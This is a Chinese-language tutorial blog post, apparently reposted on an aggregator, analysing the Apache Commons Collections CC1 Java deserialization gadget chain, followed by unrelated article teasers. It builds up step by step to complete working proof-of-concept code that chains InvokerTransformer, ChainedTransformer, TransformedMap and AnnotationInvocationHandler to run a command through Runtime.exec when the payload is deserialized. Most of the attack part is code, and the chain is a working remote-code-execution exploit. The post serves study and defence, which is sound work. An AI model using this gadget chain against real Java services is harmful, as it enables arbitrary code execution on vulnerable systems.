Java反序列化之CommonsCollections(CC1)分析篇

news2024/10/7 12:28:02

文章目录

  • 前言
  • 一、过程分析
    •    1.入口点---危险方法InvokerTransformer.transform()
    •    2.触发危险函数TransformedMap.checkSetValue()
    •    3.AnnotationInvocationHandler类
    •    4.ChainedTransformer类
    •    5.ChainedTransformer类


前言

      本文包括:Java反序列化之CommonsCollections篇(CC1)的一些过程分析。


一、过程分析

   1.入口点—危险方法InvokerTransformer.transform()

     1)入口点是Transformer类,Transformer类是Commons Collections中自定义的一组功能类。Transformer类的功能就是接收一个对象然后调用transform方法,对这个对象做一些操作。
在这里插入图片描述
     2)可以看看这个transformer的实现类有哪些都怎么做的。可以自己逐一看看,CC1链重点类是InvokerTransformer类,所以我们直接看这个类。
在这里插入图片描述
     3)可以发现是input接收一个对象然后通过反射的方法进行函数调用,其中的方法值(iMethodName),参数类型(iParamTypes),还有参数(iArgs),全部都可控,就是一个标准的任意方法调用。这里只需要传入三个参数就可以调用对象中的任意函数了。
在这里插入图片描述
     4)参照并使用InvokerTransformer.transform的写法弹个计算器。在CC1链中InvokerTransformer.transform方法就是最终调用的危险方法。transform()方法主要就是用于对象转换。

import org.apache.commons.collections.functors.InvokerTransformer;
import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
//        // 1.先弹个计算器
//        Runtime.getRuntime().exec("calc");

//        // 2.写一个普通的反射
//        Runtime r = Runtime.getRuntime();
//        // 获取Runtime的class
//        Class c = Runtime.class;
//        // 获取Runtime的exec方法
//        Method execMethod = c.getMethod("exec",String.class);
//        // 调用exec方法
//        execMethod.invoke(r,"calc");

        // 3.InvokerTransformer的写法
        Runtime r = Runtime.getRuntime();
        // 参数名exec 参数类型是个数组内容为String.class  参数值也是数组内容为calc
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
        
    }
}

在这里插入图片描述
在这里插入图片描述

   2.触发危险函数TransformedMap.checkSetValue()

     1)上面我们通过InvokerTransformer.transform方法弹了个计算器,然继续往下分析。我们通过案例中的transform,找到InvokerTransformer.java文件中的transform方法,然后在此方法上右键找到都有哪些使用了这个方法,发现一共有21个。
在这里插入图片描述
     2)从这21个结果中逐一去分析,我们主要找不同名字的调用transform,因为transform调用transform没有意义。最终我们找到了这个TransformedMap类,TransformedMap类的功能就是接收一个Map进来然后对它的key和value进行一些操作。可以看到有三个方法都调用了。
在这里插入图片描述
     3)我们直接看第三个checkSetValue方法,发现是checkSetValue方法中的valueTransformer调用了transform()。
在这里插入图片描述
     4)往上翻看一下valueTransformer的构造函数,发现是构造函数是protected受保护的类,说明是自己调用的,功能就是对传进来的map的key和value做一些操作。我们需要找到公共的类,所以还需在看。
在这里插入图片描述
     5)在往上翻看看是在哪里调用了,翻到73行可以看到一个静态方法decorate(),这个方法里完成了装饰的操作。那么就是只要使用公共的静态函数decorate()调用TransformedMap,传入key和value的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap。
在这里插入图片描述
     6)往下找到可控参数后,在往上找看一下谁调用了checkSetValue。可以发现就一例调用了,在AbstractInputCheckedMapDecorator中的setValue。可以发现TransformedMap的父类就是这个AbstractInputCheckedMapDecorator。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     7)setValue方法在MapEntry类里面,然后再重复之前的动作再找一下是谁调用了setValue,发现有38个结果。
在这里插入图片描述
在这里插入图片描述
     8)不想找也可以理解一下,Entry是HashMap遍历的时候,一个键值对就是一个Entry。写一个测试案例理解一下。查看setValue实际上就是entry.setValue(),它是重写了这个方法。

// 创建一个HashMap
HashMap<Object, Object> map = new HashMap<>();
// 附下值
map.put("key","value");
// 遍历
for(Map.Entry entry:map.entrySet()){
    entry.getValue();
}

在这里插入图片描述
     9)现在就是只要我们遍历这个被修饰过的Map调用decorate()就会走到这个MapEntry类中的setValue方法。过程简述如下所示。
在这里插入图片描述
在这里插入图片描述

     10)一个完整案例。现在就是只要调用setValue方法我们就能执行命令。调用流程如下所示

TransformedMap.entrySet()->AbstractInputCheckedMapDecorator.setValue()->TransformedMap.checkSetValue()->InvokerTransformer.transform()
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
    }
}

在这里插入图片描述

   3.AnnotationInvocationHandler类

     1)刚刚是描述如何触发这个漏洞,我们手动向修饰过的map中添加新元素从而触发一系列的回调,但在实际的漏洞利用环境中我们肯定是不能手工执行的,我们需要让它在反序列化后能自动触发,也就是说需要找个某个类,在执行了这个类的readObject后能够触发回调的,在继续找是谁调用了,找到了sun.reflect.annotation.AnnotationInvocationHandler这个类。
在这里插入图片描述
     2)这个readObject中有一个遍历Map的功能,这里的一个值调用了setValue方法(),找到这个类后看看有没有什么可控参数,从这个类的名字AnnotationInvocationHandler可知它是动态代理过程中调用处理器类。
在这里插入图片描述
     3)看一下这个AnnotationInvocationHandler类的参数,构造函数中是接收了两个参数,第一个是type是class对象并且继承了Annotation的泛型,第二个是memberValues是Map对象,这个Map对象就是可控的。这里需要注意这个包没有写public,什么也没有写在java里面就是默认的 default类型,default类型只有在这个包里面才能访问。这里就只能用反射去获取了。
在这里插入图片描述
     4)设计一个流程。

import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Runtime r = Runtime.getRuntime();
        InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("key","value");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
        // 遍历
//        for(Map.Entry entry:transformedMap.entrySet()){
//            entry.setValue(r);
//        }

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

     5)现在这个流程还有几个问题,第一个需要满足两个 if 判断,第二是setValue这个是需要传的是runtime对象,但是现在他是AnnotationTypeMismatchExceptionProxy这个对象,另外就是上例中的Runtime对象是我们自己手动生成的,这个是不能序列化的因为没有继承序列化的接口,所以只能通过反射来使用。
在这里插入图片描述
在这里插入图片描述
     6)先解决不能序列化的问题,Runtime.getRuntime()不能序列化但是Runtime.class是可以序列化的。我们查看Runtime这个类,可以发现有个一个方法能够返回Runtime。
在这里插入图片描述
     7)先来一个调用Runtime.class的普通反射。

import java.lang.reflect.Method;

public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Class c = Runtime.class;
        // 获取静态方法getRuntime  它是一个无参方法所以没有参数类型
        Method getRuntimeMethod = c.getMethod("getRuntime",null);
        // 反射调用  因为它是静态方法并且无参数调用所以都为null
        Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
        // 反射调用Runtime的exec方法
        Method execMethod = c.getMethod("exec",String.class);
        execMethod.invoke(r,"calc");
    }
}

在这里插入图片描述
     8)还是再来一个InvokerTransformer的版本。第一步先获取到getRuntimeMethod。

// InvokerTransformer的类型为new Class[]和Object[]
// getMethod方法第一个是String,第二个是class数组  ...可变代表数组
// 第一个new Class[]就参照getMethod方法为String.class和Class[].class
// 第二个new Object[] 就是"getRuntime"和null
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]
{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
     9)第二步获取getRuntimeMethod之后在调用invoke方法。

// InvokerTransformer的类型为new Class[]和new Object[],
// 第一个new Class[]就参照invoke方法为Object.class和Object[].class
// 第二个new Object[] 就是null和null
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]
{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);

在这里插入图片描述
在这里插入图片描述
     10)第三步就是反射调用。最终代码和运行结果如下

import org.apache.commons.collections.functors.InvokerTransformer;

import java.lang.reflect.Method;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        // InvokerTransformer的版本
        Class c = Runtime.class;
        Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}).transform(Runtime.class);
        Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},
                new Object[]{null,null}).transform(getRuntimeMethod);
        new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
    }
}

在这里插入图片描述

   4.ChainedTransformer类

     1)之前都是循环调用InvokerTransformer,所以使用ChainedTransformer类。ChainedTransformer有序列化的接口。现在解决了Runtime反射调用的问题。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);
    }
}

在这里插入图片描述
     2)在通过调试看一下第一个两个if判断的问题。目前的写法是进不去第一个if判断的。通过调试发现通过序列化接口进入,然后此时的AnnotationType.getInstance(type)中的type为Override,想要获取Override里面成员变量,但是此时值是空的没有值获取不了。
在这里插入图片描述
在这里插入图片描述
     3)往下看也知道是先通过memberValue这个键值对,用memberValue.getKey()获取key,获取到key后在memberTypes.get(name)中查找这个key。又因为Override中没有值现在条件不满足,要能满足第一个if条件的话我们需要找到一个有成员方法的class,同时数组的key要改成他成员方法的名字。

在这里插入图片描述
     4)这里是用的Target,里面有一个value(),可以发现再次调试就进入了第一个if判断里面。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
//        // 遍历
        for(Map.Entry entry:transformedMap.entrySet()){
            entry.setValue(r);
        }
//
        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

在这里插入图片描述
在这里插入图片描述
     5)第二个if是判断能否强转,这里强转不了所以能够进入到第二if判断中。

   5.ChainedTransformer类

     1)最后利用ChainedTransformer类完成整个利用链。最终代码和结果如下。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class CC1 {
    public static void main(String[] atgs) throws Exception
    {
        Transformer[] transformer = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class}, new Object[]{"getRuntime",null}),
                new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);
        chainedTransformer.transform(Runtime.class);

        // 创建一个HashMap
        HashMap<Object, Object> map = new HashMap<>();
        // 附下值
        map.put("value","asdf");
        Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);

        // 反射创建
        Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
        // 获取私有构造器
        Constructor annotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
        // 确认可以访问的
        annotationInvocationHandlerConstructor.setAccessible(true);
        // 实例化
        Object o = annotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
        serialize(o);
        unserialize("ser.bin");
    }

    private static void serialize(Object obj) throws Exception {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }

    private static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/30213.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

3DMAX一键生成螺母和螺栓插件使用教程

插件介绍 3DMAX一键生成螺母和螺栓插件&#xff0c;用于创建精缰化的螺母和螺栓模型。这些模型是逼真的&#xff0c;只需单击一下即可生成。有许多参数可以定制模型的外观或尺寸。 主要功能 单击创建螺母、螺栓和垫圈在螺栓顶部创建文本标记&#xff08;商标&#xff09;直径…

关于不同长度PEG的丙炔:Pyrene-PEG2/PEG3/PEG4/PEG5-propargyl,1817735-33-3

Pyrene-PEG2-Propargyl中芘用于蛋白质构象和相互作用研究中的荧光探针&#xff0c;降冰片烯很容易与叠氮化物和四嗪反应&#xff0c;可用于用荧光团和功能分子标记细胞&#xff0c;亲水性 PEG 间隔臂可以增加水溶性。包括PEG2、PEG3、PEG4、PEG5等不同长度的PEG。 1、Pyrene-PE…

大数据:Shell的操作

文章目录HDFS常用命令一、创建目录1、创建单层目录2、创建多层目录查看目录三、上传本地文件到HDFS四、查看文件内容五、下载HDFS文件到本地六、删除HDFS文件七、删除HDFS目录HDFS常用命令 启动Hadoop集群命令&#xff1a;start-all.sh 一、创建目录 1、创建单层目录 命令…

Spring Boot Auto-Configuration

Spring 自定义Auto-Configuration Spring Boot 可以根据classpath中依赖关系自动装配应用程序。通过自动装配机制&#xff0c;可以使开发更快、更简单。今天&#xff0c;学习下如何在Spring Boot 中创建自定义 auto-configuration。 代码运行环境 JDK17MYSQL8源码地址 Mave…

[附源码]Python计算机毕业设计大学生心理健康管理系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

VSCODE编译阿里云HaaS程序时遇到Win32file找不到错误怎么办?

摘要&#xff1a;本文介绍DLL load failed while importing win32file&#xff1a;找不到指定的程序&#xff0c;这个错误的解决方法。使用vscode拉取阿里云HaaS物联网开发案例代码时&#xff0c;可能会遇到编译出错的情况&#xff0c;可能会遇到一些意外的问题&#xff0c;并非…

通过Native Memory Tracking查JVM的线程内存使用(线上JVM排障之九)

很多时候会面对线上内存使用很多,特别是本地内存怎么用的说不太清,就是每一块内存总和和总的Java线程占用内存不匹配。 很多时候如果dump出来内存也没有太大的作用,因为本地内存是看不到。本地内存有很多是线程占用的空间。 以下图为例,这是一个线上的服务的JVM各块内存使…

YOLOV5在deepstream6.1.1上应用

目录 0.前言 1.Yolov5模型 1.1模型生成 1.2模型转换 1.2.1 yolov5模型转换为onnx 1.2.2 onnx模型转换为engine 2.deepstream介绍 2.1简介 2.2安装 2.2.1 dGpu 2.2.2 Jetson 2.3使用方法 3.Yolov5模型在deepstream6.1.1上应用 3.1Yolov5输出与deepstream对接 3.1…

[附源码]java毕业设计学生信息管理系统

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

论文阅读:Fast Color Segementation

Fast Color Segementation 发表于CVPR 2020&#xff0c;主要是对之前的一篇图像软分割的论文&#xff08;参见&#xff1a;论文回顾&#xff1a;Unmixing-Based Soft Color Segmentation for Image Manipulation&#xff0c;Aksoy 2017&#xff09;进行改进。 一、论文简介 […

【Mac】Mac与PlayCover、Mac关闭sip

文章目录Mac笔记本使用PlayCover游玩Ipad游戏1.1 Mac 安装 PlayCover1.2 Mac 安装 原神/明日方舟1.3 注意事项Mac笔记本关闭sip2.1 查看sip状态2.2 关闭sip为什么要关闭SIP&#xff0c;关闭SIP的利与弊&#xff0c;请看&#xff1a;3.1 什么时候要关闭sip3.2 sip是什么3.3 关闭…

[附源码]Python计算机毕业设计大学生项目众筹系统

项目运行 环境配置&#xff1a; Pychram社区版 python3.7.7 Mysql5.7 HBuilderXlist pipNavicat11Djangonodejs。 项目技术&#xff1a; django python Vue 等等组成&#xff0c;B/S模式 pychram管理等等。 环境需要 1.运行环境&#xff1a;最好是python3.7.7&#xff0c;…

webpack详解

webpack 是代码编译工具&#xff0c;有入口、出口、loader 和插件。webpack 是一个用于现代 JavaScript 应用程序的静态模块打包工具。当 webpack 处理应用程序时&#xff0c;它会在内部构建一个依赖图(dependency graph)&#xff0c;此依赖图对应映射到项目所需的每个模块&…

Django中的CSRF使用及ajax请求接口时问题总结

前言说明 在Django中提交数据到后端服务的时候&#xff0c;为了安全&#xff0c;要使用CSRF&#xff08;跨站请求伪造&#xff09;。跨站请求伪造的问题在于&#xff0c;服务器信任来自客户端的数据。 常规的做法是在template模板HTML文件中的form表单 中添加 {% csrf_token …

葡萄糖-聚乙二醇-巯基Glucose-PEG-Alkyne|葡萄糖-聚乙二醇-生物素Glucose-PEG-Biotin

葡萄糖-聚乙二醇-巯基Glucose-PEG-Alkyne 巯基&#xff0c;又称氢硫基或硫醇基&#xff0c;是由一个硫原子和一个氢原子相连组成的负一价官能团&#xff0c;化学式为-SH。巯基端连接不同的基团&#xff0c;有机物所属的类别不同&#xff0c;如硫醇&#xff08;R-SH&#xff09…

固定VMware中Linux系统的ip地址

我们的虚拟机中的Linux的ip地址默认是随机的&#xff0c;那就导致了如果我们要配置例如finshell这类的远程连接&#xff0c;就需要常常修改ip地址&#xff0c;非常的麻烦啊&#xff0c;那有没有什么办法可以固定这个IP呢。 方法肯定是有的 首先我们打开VMware 点这个 之后修改…

LeGO-LOAM

LeGO-LOAM: Lightweight and Ground-Optimized Lidar Odometry and Mapping on Variable Terrain 在可变地形上的轻量级的利用地面点优化的Iidar 里程计和 建图 作者&#xff1a;Tixiao Shan and Brendan Englot Abstract— We propose a lightweight and ground-optimized …

Bi-CLKT: Bi-Graph Contrastive Learning based Knowledge Tracing

图对比学习 文章目录摘要1 引言2 相关工作2.2 自监督学习2.3 图上的对比学习摘要 知识追踪(KT)的目标是根据学生对相关练习的历史学习来估计他们对一个概念的掌握程度。知识追踪的好处是可以更好地组织和调整学生的学习计划&#xff0c;并在必要时进行干预。随着深度学习的兴起…

回顾10年发展,2022亚马逊云科技re:Invent全球大会即将来袭

每年的亚马逊云科技re:Invent全球大会&#xff0c;都是全球云计算领域每年创新发布的关键节点&#xff0c;亚马逊云科技的这些技术发布&#xff0c;无一例外地成为了云计算领域技术发展的风向标&#xff0c;而今年的re:Invent全球大会即将启幕&#xff01; 2012年&#xff0c;亚…

Java基础40 断点调试(Debug)

DebugDebug介绍一、debug的使用二、Debug的使用使用1使用2 数组越界异常使用3 追溯源码使用4 直接执行到下一个断点Debug介绍 在开发中&#xff0c;新手程序员在查找错误时&#xff0c;这时老程序员就会提示&#xff0c;可以使用断点调试&#xff0c;一步一步的看源码执行的过…